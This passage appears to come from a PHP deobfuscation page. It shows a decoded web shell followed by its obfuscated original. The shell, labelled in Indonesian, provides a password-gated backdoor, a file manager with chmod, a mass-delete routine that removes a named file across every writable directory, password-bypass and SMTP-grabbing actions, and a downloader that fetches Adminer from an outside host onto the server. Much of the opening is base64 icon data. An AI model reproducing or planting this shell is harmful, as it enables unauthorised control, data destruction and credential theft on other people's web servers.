+C4pzC5OC8mK4mAGwEADKEUX9WbBaRawhNBBdZ1+FrVAtoHit3iPF+RZ//raul8+DVID2Pkmt9+vYp3e4B10cvYOehfrGbGK3qNC+ARACQbAhA35nh39KXbw3BFoYDkE6HX0G1jgxgrmAD2MJwAKDur/t9ZARzdeZ4n0+LDTUBMDEReLnj0OVLn/+96zEZw1jhO8d3DxtoseH/AWh901ctEQ50AAAAAElFTkSuQmCC"; } elseif ($ext == "git") { echo "data:image/png;base64,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"; } elseif ($ext == "md") { echo "data:image/png;base64,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"; } else { echo "data:image/png;base64,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"; } goto RynAI; QkJDe: if (strlen($file) > 25) { $_file = substr($file, 0, 25) . "...-." . $ext; } else { $_file = $file; } goto C9fc3; RynAI: echo "" class="ico2"></img>"; goto QkJDe; Wa24m: if (is_writable($path . "/" . $file)) { echo "<font color="#00ff00">"; } elseif (!is_readable($path . "/" . $file)) { echo "<font color="red">"; } goto SE_My; WpZsQ: if (!is_file($path . "/" . $file)) { continue; } goto a2pTn; GwpMa: $ftime = date("d/m/y G:i", filemtime("{$path}/{$file}")); goto WpZsQ; a2pTn: echo "<tr class="text-center">
\xa		\x9\x9			<td class="pinggir"><img src=""; goto CIjmO; SE_My: echo perms($path . "/" . $file); goto FrNqh; C9fc3: echo " <a href="?dir=" . $path . "&aksi=view&file=" . $path . "/" . $file . "">" . $_file . "</a></td>
\x9\x9			\x9\x9<td>" . formatSize(filesize($file)) . "</td>
\xa		\x9\x9\x9	\x9<td>" . $ftime . "</td>
	\x9\x9	\x9	\x9<td><a href="?dir=" . $path . "&aksi=chmod_file&file=" . $path . "/" . $file . "" class="text-center">"; goto Wa24m; aH573: } goto yhEJG; KOm7m: function aksiMasdel($dir, $file, $imgfol, $imgfile) { goto jS6PS; OXuiS: exit; goto uI4h7; OsYeX: if ($_POST["start"]) { goto VV5JB; VV5JB: echo "[ <a href='?dir={$dir}'>Kembali</a> ]\xd
	\x9<textarea class='form-control' rows='13' disabled=''>"; goto B1yel; yRFRT: echo "</textarea><br/>"; goto tXDAr; B1yel: hapus_massal($_POST["d_dir"], $_POST["d_file"]); goto yRFRT; tXDAr: } else { echo "<form method='post'>\xd\xa\x9	\x9<h5>{$imgfol} Lokasi :</h5>
\x9	\x9<input type='text' name='d_dir' value='{$dir}' class='form-control'><br/>
\x9\x9\x9<h5>{$imgfile} Nama File :</h5>
\xa			<input type='text' name='d_file' placeholder='[Ex] index.php' class='form-control'><br/>
\xa			<input type='submit' name='start' value='Delete!!' class='btn btn-danger form-control'>
\xa\x9</form>"; } goto OXuiS; jS6PS: function hapus_massal($dir, $namafile) { if (is_writable($dir)) { $dira = scandir($dir); foreach ($dira as $dirb) { goto YESjG; YESjG: $dirc = "{$dir}/{$dirb}"; goto TPAtN; eAL_l: if ($dirb === ".") { if (file_exists("{$dir}/{$namafile}")) { unlink("{$dir}/{$namafile}"); } } elseif ($dirb === "..") { if (file_exists('' . dirname($dir) . "/{$namafile}")) { unlink('' . dirname($dir) . "/{$namafile}"); } } else { if (is_dir($dirc)) { if (is_writable($dirc)) { if ($lokasi) { goto RPp5E; gesWc: $massdel = hapus_massal($dirc, $namafile); goto Q8i86; RPp5E: echo "{$lokasi} > Terhapus
"; goto Epide; Epide: unlink($lokasi); goto gesWc; Q8i86: } } } } goto kyAud; TPAtN: $lokasi = $dirc . "/" . $namafile; goto eAL_l; kyAud: } } } goto OsYeX; uI4h7: } goto OBiJL; GhJRN: if ($_GET["aksi"] == "passwbypass") { aksiBypasswd($dir, $file); } goto wrsRs; qap3T: echo "\x9\x9\x9</div>\xd
\x9\x9</div>\xd
	</body>
</html>"; ?>
Did this file decode correctly?
Original Code
<?php
 goto ZQ018; hn1q4: $paths = explode("\57", $path); goto TYnbq; yOFw_: if ($_GET["\141\x6b\163\151"] == "\163\155\x74\x70\147\162\141\142") { scj($dir); } goto TLIVZ; p4LcE: if (!isset($_SESSION[md5($_SERVER["\x48\124\x54\x50\137\110\x4f\123\124"])])) { if (isset($_POST["\x70\x61\163\x73"]) && md5($_POST["\x70\141\x73\163"]) == $aupas) { $_SESSION[md5($_SERVER["\x48\x54\124\x50\x5f\x48\117\123\124"])] = true; } else { login_shell(); } } goto EzpS3; t4EOb: function aksiAdminer($dir, $file) { goto GzENx; wmcT9: function adminer($url, $isi) { goto Wje3x; NnYxi: flush(); goto EmKHC; qJv2q: fclose($fp); goto MKoWR; BCGLr: curl_close($ch); goto qJv2q; KLWD0: curl_setopt($ch, CURLOPT_BINARYTRANSFER, true); goto sogRO; Wje3x: $fp = fopen($isi, "\x77"); goto q7ph0; Xk1u1: curl_setopt($ch, CURLOPT_FILE, $fp); goto E40hi; MKoWR: ob_flush(); goto NnYxi; iT8Aj: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); goto Xk1u1; feIq0: curl_setopt($ch, CURLOPT_URL, $url); goto KLWD0; q7ph0: $ch = curl_init(); goto feIq0; E40hi: return curl_exec($ch); goto BCGLr; sogRO: curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); goto iT8Aj; EmKHC: } goto LP9LL; LP9LL: if (file_exists("\x61\x64\x6d\x69\156\145\x72\x2e\x70\150\x70")) { echo "\x3c\x61\x20\x68\x72\x65\146\75\x27{$full}\x2f\141\144\x6d\x69\156\145\x72\x2e\160\150\x70\x27\x20\x74\141\x72\147\145\164\75\47\x5f\142\154\141\156\x6b\47\40\143\x6c\x61\163\x73\x3d\x27\x74\x65\x78\x74\55\143\x65\156\164\145\162\x20\x62\x74\x6e\40\x62\x74\x6e\55\163\x75\143\143\x65\163\x73\40\142\164\x6e\55\142\x6c\x6f\x63\x6b\x20\x6d\x62\x2d\63\47\x3e\x4c\157\x67\x69\x6e\x20\101\144\x6d\151\156\145\162\x3c\57\x61\76"; } else { if (adminer("\150\164\164\160\163\x3a\57\x2f\146\154\157\167\x2e\163\x79\x74\x65\x73\56\x6e\x65\x74\x2f\x61\162\x72\157\x77\x2f\141\x64\x6d\x69\x6e\x65\x72\56\164\170\x74", "\141\144\x6d\151\156\145\162\x2e\x70\150\x70")) { echo "\x3c\160\40\143\x6c\x61\x73\163\x3d\x27\x74\145\x78\164\x2d\143\145\156\x74\145\x72\x27\76\x42\x65\x72\x68\141\x73\151\154\x20\x4d\145\155\142\165\141\164\40\101\x64\155\151\x6e\145\x72\74\57\x70\x3e\x3c\141\40\150\x72\145\146\75\47{$full}\57\x61\x64\155\151\156\x65\x72\56\x70\x68\x70\47\40\x74\x61\x72\x67\145\164\75\x27\x5f\142\x6c\141\x6e\x6b\47\x20\143\154\x61\x73\163\75\x27\164\x65\x78\164\55\x63\x65\156\164\145\162\x20\142\x74\156\x20\142\x74\156\55\163\165\x63\143\145\163\163\x20\x62\x74\x6e\55\142\x6c\157\x63\153\x20\x6d\142\55\x33\47\x3e\114\x6f\147\x69\x6e\x20\101\x64\155\151\x6e\145\162\74\x2f\141\x3e"; } else { echo "\74\x70\40\143\154\141\163\163\x3d\x27\x74\x65\x78\164\55\143\145\156\164\145\162\40\164\x65\x78\x74\55\x64\x61\x6e\147\x65\x72\x27\76\107\141\x67\141\154\x20\115\145\x6d\142\x75\x61\x74\x20\101\x64\155\x69\156\145\x72\74\x2f\x70\76"; } } goto EZ8L5; EZ8L5: exit; goto GvZfE; GzENx: $full = str_replace($_SERVER["\x44\x4f\x43\x55\115\x45\x4e\x54\x5f\122\117\117\124"], '', $dir); goto wmcT9; GvZfE: } goto Mc7Gl; hNteG: echo 